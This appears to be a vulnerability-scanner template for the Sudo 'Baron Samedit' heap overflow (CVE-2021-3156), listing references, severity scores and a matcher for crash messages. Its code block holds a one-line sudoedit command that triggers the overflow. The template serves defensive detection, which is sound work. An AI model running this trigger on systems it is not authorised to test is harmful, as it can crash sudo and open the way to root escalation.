2023-12-30 15:05:49 +00:00
id : CVE-2021-3156
info :
name : Sudo Baron Samedit - Local Privilege Escalation
author : pussycat0x
severity : high
description : |
Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
reference :
- https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435
- https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
- https://infosecwriteups.com/baron-samedit-cve-2021-3156-tryhackme-76d7dedc3cff
2024-03-04 08:20:22 +00:00
- http://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html
- http://packetstormsecurity.com/files/176932/glibc-syslog-Heap-Based-Buffer-Overflow.html
classification :
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 7.8
cve-id : CVE-2021-3156
cwe-id : CWE-193
epss-score : 0.97085
2024-03-23 09:28:19 +00:00
epss-percentile : 0.99757
2024-03-04 08:20:22 +00:00
cpe : cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
2023-12-30 15:05:49 +00:00
metadata :
verified : true
2024-03-04 08:20:22 +00:00
vendor : sudo_project
product : sudo
2024-06-07 10:04:29 +00:00
tags : packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project
2023-12-30 15:05:49 +00:00
self-contained : true
code :
- engine :
- sh
- bash
source : |
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
matchers :
- type : word
words :
- "malloc(): memory corruption"
- "Aborted (core dumped)"
condition : and
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100b0e1b0f8d02b42918c0845dc5e5d78fc1c8d9a16120a30c0607392239fd7acc1022000b3670974ad0b3ae3912068b5315a610b9a2e6028401acf310cc430a4d9facc:922c64590222798bb761d5b6d8e72950